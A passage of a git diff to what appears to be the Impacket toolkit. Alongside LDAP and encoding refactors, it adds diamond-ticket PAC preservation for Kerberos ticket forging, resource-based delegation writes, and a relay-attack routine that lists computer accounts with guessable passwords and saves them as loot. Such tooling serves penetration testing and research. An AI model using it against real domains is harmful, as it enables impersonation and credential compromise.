- controls = security_descriptor_control(sdflags=0x01) if self.target_sAMAccountName is not None: _lookedup_principal = self.target_sAMAccountName - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls) + entries = search_entries(self.ldap_session, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), self.base_dn, attributes=['nTSecurityDescriptor'], search_controls=self.owner_sd_controls) elif self.target_SID is not None: _lookedup_principal = self.target_SID - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + entries = search_entries(self.ldap_session, '(objectSid=%s)' % _lookedup_principal, self.base_dn, attributes=['nTSecurityDescriptor'], search_controls=self.owner_sd_controls) elif self.target_DN is not None: _lookedup_principal = self.target_DN - self.ldap_session.search(_lookedup_principal, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + entries = search_entries(self.ldap_session, '(distinguishedName=%s)' % escape_filter_chars(_lookedup_principal), self.base_dn, attributes=['nTSecurityDescriptor'], search_controls=self.owner_sd_controls) try: - self.target_principal = self.ldap_session.entries[0] + self.target_principal = entries[0] logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) except IndexError: logging.error('Target principal not found in LDAP (%s)' % _lookedup_principal) @@ -216,10 +201,9 @@ def resolveSID(self, sid): return WELL_KNOWN_SIDS[sid] # Tries to resolve the SID from the LDAP domain dump else: - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % sid, attributes=['samaccountname']) + entries = search_entries(self.ldap_session, '(objectSid=%s)' % sid, self.base_dn, attributes=['samaccountname']) try: - dn = self.ldap_session.entries[0].entry_dn - samname = self.ldap_session.entries[0]['samaccountname'] + samname = as_string(get_entry_value(entries[0], 'samaccountname')) return samname except IndexError: logging.debug('SID not found in LDAP: %s' % sid) @@ -278,8 +262,10 @@ def main(): domain, username, password, lmhash, nthash, args.k = parse_identity(args.identity, args.hashes, args.no_pass, args.aesKey, args.k) try: - ldap_server, ldap_session = init_ldap_session(domain, username, password, lmhash, nthash, args.k, args.dc_ip, args.dc_host, args.aesKey, args.use_ldaps) - owneredit = OwnerEdit(ldap_server, ldap_session, args) + base_dn = ','.join('dc=%s' % part for part in domain.split('.')) + target = args.dc_host if args.dc_host is not None else domain + ldap_session = ldap_login(target, base_dn, args.dc_ip, args.dc_host, args.k, username, password, domain, lmhash, nthash, args.aesKey, ldaps_flag=args.use_ldaps) + owneredit = OwnerEdit(ldap_session, base_dn, args) if args.action == 'read': owneredit.read() elif args.action == 'write': diff --git a/examples/rbcd.py b/examples/rbcd.py index 1e7e059036..735cd9dac4 100755 --- a/examples/rbcd.py +++ b/examples/rbcd.py @@ -23,16 +23,15 @@ import logging import sys import traceback -import ldap3 -import ldapdomaindump -from ldap3.protocol.formatters.formatters import format_sid from impacket import version from impacket.examples import logger, utils -from impacket.ldap import ldaptypes -from ldap3.utils.conv import escape_filter_chars +from impacket.ldap import ldap, ldaptypes +from impacket.ldap.ldap import escape_filter_chars, get_entry_dn, get_entry_value -from impacket.examples.utils import init_ldap_session, parse_identity +from impacket.examples.utils import (ldap_login, parse_identity, + ldap_value_to_bytes, as_string, as_sid_string, + search_entries, log_ldap_error) def create_empty_sd(): sd = ldaptypes.SR_SECURITY_DESCRIPTOR() @@ -70,18 +69,16 @@ def create_allow_ace(sid): class RBCD(object): """docstring for setrbcd""" - def __init__(self, ldap_server, ldap_session, delegate_to): + LDAP_SCOPE_BASE = ldap.Scope('baseObject') + + def __init__(self, ldap_session, base_dn, delegate_to): super(RBCD, self).__init__() - self.ldap_server = ldap_server self.ldap_session = ldap_session + self.base_dn = base_dn self.delegate_from = None self.delegate_to = delegate_to self.SID_delegate_from = None self.DN_delegate_to = None - logging.debug('Initializing domainDumper()') - cnf = ldapdomaindump.domainDumpConfig() - cnf.basepath = None - self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) def read(self): # Get target computer DN @@ -119,21 +116,15 @@ def write(self, delegate_from): # writing only if SID not already in list if self.SID_delegate_from not in [ ace['Ace']['Sid'].formatCanonical() for ace in sd['Dacl'].aces ]: sd['Dacl'].aces.append(create_allow_ace(self.SID_delegate_from)) - self.ldap_session.modify(targetuser['dn'], - {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, - [sd.getData()]]}) - if self.ldap_session.result['result'] == 0: + try: + self.ldap_session.modify( + get_entry_dn(targetuser), + {'msDS-AllowedToActOnBehalfOfOtherIdentity': [(ldap.MODIFY_REPLACE, [sd.getData()])]}, + ) logging.info('Delegation rights modified successfully!') logging.info('%s can now impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to) - else: - if self.ldap_session.result['result'] == 50: - logging.error('Could not modify object, the server reports insufficient rights: %s', - self.ldap_session.result['message']) - elif self.ldap_session.result['result'] == 19: - logging.error('Could not modify object, the server reports a constrained violation: %s', - self.ldap_session.result['message']) - else: - logging.error('The server returned an error: %s', self.ldap_session.result['message']) + except ldap.LDAPSessionError as error: + log_ldap_error('Could not modify object', error) else: logging.info('%s can already impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to) logging.info('Not modifying the delegation rights.') @@ -163,20 +154,14 @@ def remove(self, delegate_from): # Remove the entries where SID match the given -delegate-from sd['Dacl'].aces = [ace for ace in sd['Dacl'].aces if self.SID_delegate_from != ace['Ace']['Sid'].formatCanonical()] - self.ldap_session.modify(targetuser['dn'], - {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]}) - - if self.ldap_session.result['result'] == 0: + try: + self.ldap_session.modify( + get_entry_dn(targetuser), + {'msDS-AllowedToActOnBehalfOfOtherIdentity': [(ldap.MODIFY_REPLACE, [sd.getData()])]}, + ) logging.info('Delegation rights modified successfully!') - else: - if self.ldap_session.result['result'] == 50: - logging.error('Could not modify object, the server reports insufficient rights: %s', - self.ldap_session.result['message']) - elif self.ldap_session.result['result'] == 19: - logging.error('Could not modify object, the server reports a constrained violation: %s', - self.ldap_session.result['message']) - else: - logging.error('The server returned an error: %s', self.ldap_session.result['message']) + except ldap.LDAPSessionError as error: + log_ldap_error('Could not modify object', error) # Get list of allowed to act self.get_allowed_to_act() return @@ -192,38 +177,38 @@ def flush(self): # Get list of allowed to act sd, targetuser = self.get_allowed_to_act() - self.ldap_session.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, []]}) - if self.ldap_session.result['result'] == 0: + try: + self.ldap_session.modify( + get_entry_dn(targetuser), + {'msDS-AllowedToActOnBehalfOfOtherIdentity': [(ldap.MODIFY_REPLACE, [])]}, + ) logging.info('Delegation rights flushed successfully!') - else: - if self.ldap_session.result['result'] == 50: - logging.error('Could not modify object, the server reports insufficient rights: %s', - self.ldap_session.result['message']) - elif self.ldap_session.result['result'] == 19: - logging.error('Could not modify object, the server reports a constrained violation: %s', - self.ldap_session.result['message']) - else: - logging.error('The server returned an error: %s', self.ldap_session.result['message']) + except ldap.LDAPSessionError as error: + log_ldap_error('Could not modify object', error) # Get list of allowed to act self.get_allowed_to_act() return def get_allowed_to_act(self): # Get target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute - self.ldap_session.search(self.DN_delegate_to, '(objectClass=*)', search_scope=ldap3.BASE, - attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) - targetuser = None - for entry in self.ldap_session.response: - if entry['type'] != 'searchResEntry': - continue - targetuser = entry + entries = search_entries( + self.ldap_session, + '(objectClass=*)', + self.DN_delegate_to, + search_scope=self.LDAP_SCOPE_BASE, + attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'], + ) + targetuser = entries[0] if entries else None if not targetuser: logging.error('Could not query target user properties') return try: - sd = ldaptypes.SR_SECURITY_DESCRIPTOR( - data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) + raw_sd = ldap_value_to_bytes(get_entry_value(targetuser, 'msDS-AllowedToActOnBehalfOfOtherIdentity')) + if raw_sd is None: + sd = create_empty_sd() + else: + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=raw_sd) if len(sd['Dacl'].aces) > 0: logging.info('Accounts allowed to act on behalf of other identity:') for ace in sd['Dacl'].aces: @@ -241,22 +226,32 @@ def get_allowed_to_act(self): return sd, targetuser def get_user_info(self, samname): - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) + entries = search_entries( + self.ldap_session, + '(sAMAccountName=%s)' % escape_filter_chars(samname), + self.base_dn, + attributes=['objectSid'], + ) try: - dn = self.ldap_session.entries[0].entry_dn - sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + dn = get_entry_dn(entries[0]) + sid = as_sid_string(get_entry_value(entries[0], 'objectSid')) return dn, sid - except IndexError: + except (IndexError, TypeError): logging.error('User not found in LDAP: %s' % samname) return False def get_sid_info(self, sid): - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % escape_filter_chars(sid), attributes=['samaccountname']) + entries = search_entries( + self.ldap_session, + '(objectSid=%s)' % escape_filter_chars(sid), + self.base_dn, + attributes=['samaccountname'], + ) try: - dn = self.ldap_session.entries[0].entry_dn - samname = self.ldap_session.entries[0]['samaccountname'] + dn = get_entry_dn(entries[0]) + samname = as_string(get_entry_value(entries[0], 'samaccountname')) return dn, samname - except IndexError: + except (IndexError, TypeError): logging.error('SID not found in LDAP: %s' % sid) return False @@ -314,8 +309,10 @@ def main(): domain, username, password, lmhash, nthash, args.k = parse_identity(args.identity, args.hashes, args.no_pass, args.aesKey, args.k) try: - ldap_server, ldap_session = init_ldap_session(domain, username, password, lmhash, nthash, args.k, args.dc_ip, args.dc_host, args.aesKey, args.use_ldaps) - rbcd = RBCD(ldap_server, ldap_session, args.delegate_to) + base_dn = ','.join('dc=%s' % part for part in domain.split('.')) + target = args.dc_host if args.dc_host is not None else domain + ldap_session = ldap_login(target, base_dn, args.dc_ip, args.dc_host, args.k, username, password, domain, lmhash, nthash, args.aesKey, ldaps_flag=args.use_ldaps) + rbcd = RBCD(ldap_session, base_dn, args.delegate_to) if args.action == 'read': rbcd.read() elif args.action == 'write': diff --git a/examples/services.py b/examples/services.py index 6d7877d5d3..eaf6a6c284 100755 --- a/examples/services.py +++ b/examples/services.py @@ -223,11 +223,10 @@ def doStuff(self, rpctransport): if self.__options.password is not None: s = rpctransport.get_smb_connection() key = s.getSessionKey() - try: - password = (self.__options.password+'\x00').encode('utf-16le') - except UnicodeDecodeError: - import sys - password = (self.__options.password+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le') + password = self.__options.password + if isinstance(password, bytes): + password = password.decode(sys.getfilesystemencoding()) + password = (password + '\x00').encode('utf-16le') password = encryptSecret(key, password) else: password = NULL diff --git a/examples/ticketer.py b/examples/ticketer.py index cd7a75e3d7..8f840b2252 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -1,7 +1,7 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright Fortra, LLC and its affiliated companies +# Copyright Fortra, LLC and its affiliated companies # # All rights reserved. # @@ -80,7 +80,7 @@ VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO, UPN_DNS_INFO_FULL, PAC_REQUESTOR_INFO, PAC_UPN_DNS_INFO, PAC_ATTRIBUTES_INFO, PAC_REQUESTOR, \ PAC_ATTRIBUTE_INFO from impacket.krb5.types import KerberosTime, Principal -from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS +from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, getKerberosTGSRequestEnctypes from impacket.krb5 import constants, pac from impacket.krb5.asn1 import AP_REQ, TGS_REQ, Authenticator, seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1 @@ -345,6 +345,55 @@ def createRequestorInfoPac(self, pacInfos): pacRequestor['UserSid'].fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}") pacInfos[PAC_REQUESTOR_INFO] = pacRequestor.getData() + def _extractOriginalPacFields(self, kdcRep): + """Extract PAC_REQUESTOR and PAC_ATTRIBUTES from the real KDC-issued TGT. + + When forging a diamond ticket (-request), the KDC's PAC contains a valid + PAC_REQUESTOR (KB5008380/KB5020009) that we must preserve. Without it, + fully-patched KDCs reject the TGS-REQ during cross-realm referral with + substatus 0x520 (KDC_ERR_TGT_REVOKED). + """ + preserved = {} + try: + ticketCipher = int(kdcRep['ticket']['enc-part']['etype']) + cipherText = kdcRep['ticket']['enc-part']['cipher'].asOctets() + + # Build the krbtgt key to decrypt the ticket's enc-part + if ticketCipher == EncryptionTypes.rc4_hmac.value: + key = Key(ticketCipher, unhexlify(self.__options.nthash)) + else: + key = Key(ticketCipher, unhexlify(self.__options.aesKey)) + + cipher = _enctype_table[ticketCipher] + plainText = cipher.decrypt(key, 2, cipherText) + encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] + + # Walk authorization-data to find the PAC + adIfRelevant = decoder.decode( + encTicketPart['authorization-data'][0]['ad-data'], + asn1Spec=AD_IF_RELEVANT() + )[0] + pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) + buff = pacType['Buffers'] + + for _ in range(pacType['cBuffers']): + infoBuffer = pac.PAC_INFO_BUFFER(buff) + data = pacType['Buffers'][infoBuffer['Offset'] - 8:][:infoBuffer['cbBufferSize']] + buff = buff[len(infoBuffer):] + + if infoBuffer['ulType'] == PAC_REQUESTOR_INFO: + preserved[PAC_REQUESTOR_INFO] = data + logging.info(' Preserved original PAC_REQUESTOR from KDC') + elif infoBuffer['ulType'] == PAC_ATTRIBUTES_INFO: + preserved[PAC_ATTRIBUTES_INFO] = data + logging.info(' Preserved original PAC_ATTRIBUTES from KDC') + + except Exception as e: + logging.warning('Could not extract original PAC fields: %s' % str(e)) + logging.warning('Falling back to fabricated PAC_REQUESTOR (may fail on patched KDCs)') + + return preserved + def createBasicTicket(self): if self.__options.request is True: @@ -616,6 +665,19 @@ def createBasicTicket(self): pacInfos = self.createBasicPac(kdcRep) + # Diamond ticket: preserve original PAC_REQUESTOR/PAC_ATTRIBUTES from + # the real KDC-issued TGT so that KB5020009 enforcement passes during + # cross-realm referral TGS-REQ. + if (self.__options.request is True and not self.__options.impersonate + and not self.__options.old_pac + and self.__options.user.lower() == self.__target.lower()): + + originalPacFields = self._extractOriginalPacFields(kdcRep) + if PAC_REQUESTOR_INFO in originalPacFields: + pacInfos[PAC_REQUESTOR_INFO] = originalPacFields[PAC_REQUESTOR_INFO] + if PAC_ATTRIBUTES_INFO in originalPacFields: + pacInfos[PAC_ATTRIBUTES_INFO] = originalPacFields[PAC_ATTRIBUTES_INFO] + return kdcRep, pacInfos @@ -740,8 +802,7 @@ def getKerberosS4U2SelfU2U(self): reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) + seq_set_iter(reqBody, 'etype', getKerberosTGSRequestEnctypes()) seq_set_iter(reqBody, 'additional-tickets', (ticket.to_asn1(TicketAsn1()),)) @@ -1182,7 +1243,7 @@ def run(self): print("\tIf you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256") print("\t(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as") print("\tbaduser.ccache.\n") - print("\t./ticketer.py -nthash -aesKey -domain-sid -domain " + print("\t./ticketer.py -nthash -aesKey -domain-sid -domain " " -request -user -password baduser\n") print("\twill first authenticate against the KDC (using -user/-password) and get a TGT that will be used") print("\tas template for customization. Whatever encryption algorithms used on that ticket will be honored,") diff --git a/impacket/dcerpc/v5/dcomrt.py b/impacket/dcerpc/v5/dcomrt.py index 7ff01a38eb..276cba43b3 100644 --- a/impacket/dcerpc/v5/dcomrt.py +++ b/impacket/dcerpc/v5/dcomrt.py @@ -1132,15 +1132,29 @@ def disconnect(self): #print INTERFACE.CONNECTIONS class CLASS_INSTANCE: - def __init__(self, ORPCthis, stringBinding): + def __init__(self, ORPCthis, stringBinding, portmap=None): self.__stringBindings = stringBinding self.__ORPCthis = ORPCthis self.__authType = RPC_C_AUTHN_WINNT self.__authLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY + self.__connectionInfo = None + if portmap is not None: + self.set_connection_info(portmap) def get_ORPCthis(self): return self.__ORPCthis def get_string_bindings(self): return self.__stringBindings + def set_connection_info(self, portmap): + rpcTransport = portmap.get_rpc_transport() + kerberos = rpcTransport.get_kerberos() + remoteHost = None + remoteName = None + if kerberos: + remoteHost = rpcTransport.getRemoteHost() + remoteName = rpcTransport.getRemoteName() + self.__connectionInfo = (portmap.get_credentials(), kerberos, rpcTransport.get_kdcHost(), remoteHost, remoteName) + def get_connection_info(self): + return self.__connectionInfo def get_auth_level(self): if RPC_C_AUTHN_LEVEL_NONE < self.__authLevel < RPC_C_AUTHN_LEVEL_PKT_PRIVACY: if self.__authType == RPC_C_AUTHN_WINNT: @@ -1340,15 +1354,19 @@ def connect(self, iid = None): dcomInterface = transport.DCERPCTransportFactory(stringBinding) - if DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kerberos(): - dcomInterface.setRemoteHost(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().getRemoteHost()) - dcomInterface.setRemoteName(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().getRemoteName()) + connectionInfo = self.__cinstance.get_connection_info() + if connectionInfo is None: + self.__cinstance.set_connection_info(DCOMConnection.PORTMAPS[self.__target]) + connectionInfo = self.__cinstance.get_connection_info() + credentials, kerberos, kdcHost, remoteHost, remoteName = connectionInfo + if kerberos: + dcomInterface.setRemoteHost(remoteHost) + dcomInterface.setRemoteName(remoteName) if hasattr(dcomInterface, 'set_credentials'): # This method exists only for selected protocol sequences. - dcomInterface.set_credentials(*DCOMConnection.PORTMAPS[self.__target].get_credentials()) - dcomInterface.set_kerberos(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kerberos(), - DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kdcHost()) + dcomInterface.set_credentials(*credentials) + dcomInterface.set_kerberos(kerberos, kdcHost) dcomInterface.set_connect_timeout(300) dce = dcomInterface.get_dce_rpc() @@ -1640,7 +1658,7 @@ def RemoteActivation(self, clsId, iid): secBinding = SECURITYBINDING(securityBindings) securityBindings = securityBindings[len(secBinding):] - classInstance = CLASS_INSTANCE(ORPCthis, stringBindings) + classInstance = CLASS_INSTANCE(ORPCthis, stringBindings, self.__portmap) return IRemUnknown2(INTERFACE(classInstance, b''.join(resp['ppInterfaceData'][0]['abData']), ipidRemUnknown, target=self.__portmap.get_rpc_transport().getRemoteName())) @@ -1804,7 +1822,7 @@ def RemoteGetClassObject(self, clsId, iid): size = propsOut.fromString(propOutput) propsOut.fromStringReferents(propOutput[size:]) - classInstance = CLASS_INSTANCE(ORPCthis, stringBindings) + classInstance = CLASS_INSTANCE(ORPCthis, stringBindings, self.__portmap) classInstance.set_auth_level(scmr['remoteReply']['authnHint']) classInstance.set_auth_type(self.__portmap.get_auth_type()) return IRemUnknown2(INTERFACE(classInstance, b''.join(propsOut['ppIntfData'][0]['abData']), ipidRemUnknown, @@ -1968,7 +1986,7 @@ def RemoteCreateInstance(self, clsId, iid): size = propsOut.fromString(propOutput) propsOut.fromStringReferents(propOutput[size:]) - classInstance = CLASS_INSTANCE(ORPCthis, stringBindings) + classInstance = CLASS_INSTANCE(ORPCthis, stringBindings, self.__portmap) classInstance.set_auth_level(scmr['remoteReply']['authnHint']) classInstance.set_auth_type(self.__portmap.get_auth_type()) return IRemUnknown2(INTERFACE(classInstance, b''.join(propsOut['ppIntfData'][0]['abData']), ipidRemUnknown, diff --git a/impacket/dcerpc/v5/dtypes.py b/impacket/dcerpc/v5/dtypes.py index 3e082c51b3..b14af5ea05 100644 --- a/impacket/dcerpc/v5/dtypes.py +++ b/impacket/dcerpc/v5/dtypes.py @@ -71,11 +71,10 @@ def getDataLen(self, data, offset=0): def __setitem__(self, key, value): if key == 'Data': - try: - self.fields[key] = value.encode('utf-16le') - except UnicodeDecodeError: + if isinstance(value, bytes): import sys - self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le') + value = value.decode(sys.getfilesystemencoding()) + self.fields[key] = value.encode('utf-16le') self.data = None # force recompute else: @@ -112,15 +111,11 @@ def dump(self, msg = None, indent = 0): def __setitem__(self, key, value): if key == 'Data': - try: - if not isinstance(value, binary_type): - self.fields[key] = value.encode('utf-8') - else: - # if it is a binary type (str in Python 2, bytes in Python 3), then we assume it is a raw buffer - self.fields[key] = value - except UnicodeDecodeError: - import sys - self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-8') + if not isinstance(value, binary_type): + self.fields[key] = value.encode('utf-8') + else: + # If it is bytes, then we assume it is a raw buffer. + self.fields[key] = value self.fields['MaximumCount'] = None self.fields['ActualCount'] = None self.data = None # force recompute @@ -173,11 +168,10 @@ def getDataLen(self, data, offset=0): def __setitem__(self, key, value): if key == 'Data': - try: - self.fields[key] = value.encode('utf-16le') - except UnicodeDecodeError: + if isinstance(value, bytes): import sys - self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le') + value = value.decode(sys.getfilesystemencoding()) + self.fields[key] = value.encode('utf-16le') self.fields['MaximumCount'] = None self.fields['ActualCount'] = None self.data = None # force recompute @@ -376,9 +370,7 @@ class RPC_UNICODE_STRING(NDRSTRUCT): def __setitem__(self, key, value): if key == 'Data' and isinstance(value, NDR) is False: - try: - value.encode('utf-16le') - except UnicodeDecodeError: + if isinstance(value, bytes): import sys value = value.decode(sys.getfilesystemencoding()) self['Length'] = len(value)*2 diff --git a/impacket/dcerpc/v5/rrp.py b/impacket/dcerpc/v5/rrp.py index 3c7ab298a5..8afb19a637 100644 --- a/impacket/dcerpc/v5/rrp.py +++ b/impacket/dcerpc/v5/rrp.py @@ -692,36 +692,28 @@ def checkNullString(string): return string def packValue(valueType, value): + if valueType in (REG_EXPAND_SZ, REG_MULTI_SZ, REG_SZ) and isinstance(value, bytes): + import sys + value = value.decode(sys.getfilesystemencoding()) + if valueType == REG_DWORD: retData = pack('L', value) elif valueType == REG_EXPAND_SZ: - try: - retData = checkNullString(value).encode('utf-16le') - except UnicodeDecodeError: - import sys - retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le') + retData = checkNullString(value).encode('utf-16le') elif valueType == REG_MULTI_SZ: - try: - v = checkNullString(value) - # REG_MULTI_SZ must end with 2 null-bytes - if v[-2:-1] != '\x00': - v = v + '\x00' - retData = v.encode('utf-16le') - except UnicodeDecodeError: - import sys - retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le') + v = checkNullString(value) + # REG_MULTI_SZ must end with 2 null-bytes + if v[-2:-1] != '\x00': + v = v + '\x00' + retData = v.encode('utf-16le') elif valueType == REG_QWORD: retData = pack('Q', value) elif valueType == REG_SZ: - try: - retData = checkNullString(value).encode('utf-16le') - except UnicodeDecodeError: - import sys - retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le') + retData = checkNullString(value).encode('utf-16le') else: retData = value diff --git a/impacket/dcerpc/v5/samr.py b/impacket/dcerpc/v5/samr.py index 0ae928ae3d..331fe57cd2 100644 --- a/impacket/dcerpc/v5/samr.py +++ b/impacket/dcerpc/v5/samr.py @@ -2860,14 +2860,14 @@ def hSamrUnicodeChangePasswordUser2(dce, serverName='\x00', userName='', oldPass except: pass + if isinstance(newPassword, bytes): + import sys + newPassword = newPassword.decode(sys.getfilesystemencoding()) + newPwdHashNT = ntlm.NTOWFv1(newPassword) samUser = SAMPR_USER_PASSWORD() - try: - encoded_password = newPassword.encode('utf-16le') - except UnicodeDecodeError: - import sys - encoded_password = newPassword.decode(sys.getfilesystemencoding()).encode('utf-16le') + encoded_password = newPassword.encode('utf-16le') samUser['Buffer'] = b'A' * (512 - len(encoded_password)) + encoded_password diff --git a/impacket/dcerpc/v5/srvs.py b/impacket/dcerpc/v5/srvs.py index ee5f9ea2da..d60176760c 100644 --- a/impacket/dcerpc/v5/srvs.py +++ b/impacket/dcerpc/v5/srvs.py @@ -1770,11 +1770,10 @@ def dump(self, msg = None, indent = 0): def __setitem__(self, key, value): if key == 'Data': - try: - self.fields[key] = value.encode('utf-16le') - except UnicodeDecodeError: + if isinstance(value, bytes): import sys - self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le') + value = value.decode(sys.getfilesystemencoding()) + self.fields[key] = value.encode('utf-16le') self.fields['ActualCount'] = None self.data = None # force recompute else: diff --git a/impacket/dpapi.py b/impacket/dpapi.py index 9a1f68c5ad..edd44b2f7d 100644 --- a/impacket/dpapi.py +++ b/impacket/dpapi.py @@ -634,7 +634,12 @@ def fixparity(deskey): return derivedKey def decrypt(self, key, entropy = None): - keyHash = SHA1.new(key).digest() + if len(key) == 20: + # Key has already been hashed + keyHash = key + else: + keyHash = SHA1.new(key).digest() + sessionKey = HMAC.new(keyHash, self['Salt'], ALGORITHMS_DATA[self['HashAlgo']][1]) if entropy is not None: sessionKey.update(entropy) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 9d902e1d93..ff2435dc21 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -65,6 +65,23 @@ alreadyAddedComputer = False delegatePerformed = [] +PRE2K_TIMESTAMP_TOLERANCE = datetime.timedelta(seconds=1) + + +def _password_set_at_account_creation(attributes): + """Return whether pwdLastSet and whenCreated represent the same second.""" + pwd_last_set = attributes.get('pwdLastSet') + when_created = attributes.get('whenCreated') + + if not isinstance(pwd_last_set, datetime.datetime) or not isinstance(when_created, datetime.datetime): + return False + + try: + return abs(pwd_last_set - when_created) <= PRE2K_TIMESTAMP_TOLERANCE + except TypeError: + # Do not compare offset-aware and offset-naive timestamps. + return False + #gMSA structure class MSDS_MANAGEDPASSWORD_BLOB(Structure): structure = ( @@ -647,6 +664,128 @@ def aceApplies(ace_guid, object_class): # If none of these match, the ACE does not apply to this object return False + def dumpPre2k(self, domainDumper): + """ + Enumerate computer accounts potentially vulnerable to pre-Windows 2000 authentication. + These accounts have a predictable password (lowercase machine name without trailing $). + Detection: PASSWD_NOTREQD flag (0x0020) in userAccountControl, or pwdLastSet equals whenCreated + (password was never changed since account creation). + """ + LOG.info("Enumerating computer accounts potentially vulnerable to Pre-Windows 2000 authentication") + + # UF_WORKSTATION_TRUST_ACCOUNT = 0x1000 (4096) + # UF_PASSWD_NOTREQD = 0x0020 (32) + # Search for computer accounts with PASSWD_NOTREQD flag set + search_filter = '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=32))' + attributes = [ + 'sAMAccountName', + 'userAccountControl', + 'pwdLastSet', + 'whenCreated', + 'distinguishedName', + 'operatingSystem', + ] + + success = self.client.search( + domainDumper.root, + search_filter, + search_scope=ldap3.SUBTREE, + attributes=attributes + ) + + pre2k_candidates = [] + existing_sams = set() + + def addPre2kCandidates(detection_reason, confidence, predicate=None): + for entry in self.client.response: + if entry['type'] != 'searchResEntry': + continue + try: + if predicate is not None and not predicate(entry['attributes']): + continue + sam = entry['attributes']['sAMAccountName'] + if sam in existing_sams: + continue + uac = entry['attributes']['userAccountControl'] + pwd_last_set = entry['attributes']['pwdLastSet'] + when_created = entry['attributes']['whenCreated'] + dn = entry['attributes']['distinguishedName'] + os_name = entry['attributes'].get('operatingSystem') or 'N/A' + + pre2k_candidates.append({ + 'sAMAccountName': sam, + 'distinguishedName': dn, + 'userAccountControl': uac, + 'pwdLastSet': str(pwd_last_set), + 'whenCreated': str(when_created), + 'operatingSystem': os_name, + 'predictedPassword': sam.rstrip('$').lower(), + 'detectionReason': detection_reason, + 'confidence': confidence, + }) + existing_sams.add(sam) + except (KeyError, IndexError): + continue + + if success: + addPre2kCandidates('PASSWD_NOTREQD flag set', 'medium') + + # Also search for computer accounts where password was never changed (pwdLastSet == 0) + search_filter2 = '(&(objectCategory=computer)(pwdLastSet=0)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' + success2 = self.client.search( + domainDumper.root, + search_filter2, + search_scope=ldap3.SUBTREE, + attributes=attributes + ) + + if success2: + addPre2kCandidates('pwdLastSet == 0', 'medium') + + # whenCreated has whole-second precision while pwdLastSet can include fractions of a + # second, so compare the values client-side with a small tolerance. + search_filter3 = '(&(objectCategory=computer)(pwdLastSet=*)(whenCreated=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' + success3 = self.client.search( + domainDumper.root, + search_filter3, + search_scope=ldap3.SUBTREE, + attributes=attributes + ) + + if success3: + addPre2kCandidates('pwdLastSet within 1s of whenCreated', 'low', _password_set_at_account_creation) + + if not pre2k_candidates: + LOG.info("No Pre-Windows 2000 vulnerable computer accounts found") + return + + LOG.info("Found %d potentially vulnerable Pre-Windows 2000 computer account(s):" % len(pre2k_candidates)) + + fd = None + filename = os.path.join( + self.config.lootdir, + "pre2k-dump-%s-%d.json" % (self.username, random.randint(0, 99999)) + ) + + for candidate in pre2k_candidates: + LOG.info( + " %-30s Password: %-25s Confidence: %-6s Reason: %-40s OS: %s" % ( + candidate['sAMAccountName'], + candidate['predictedPassword'], + candidate['confidence'], + candidate['detectionReason'], + candidate['operatingSystem'], + ) + ) + + try: + fd = open(filename, "w") + json.dump(pre2k_candidates, 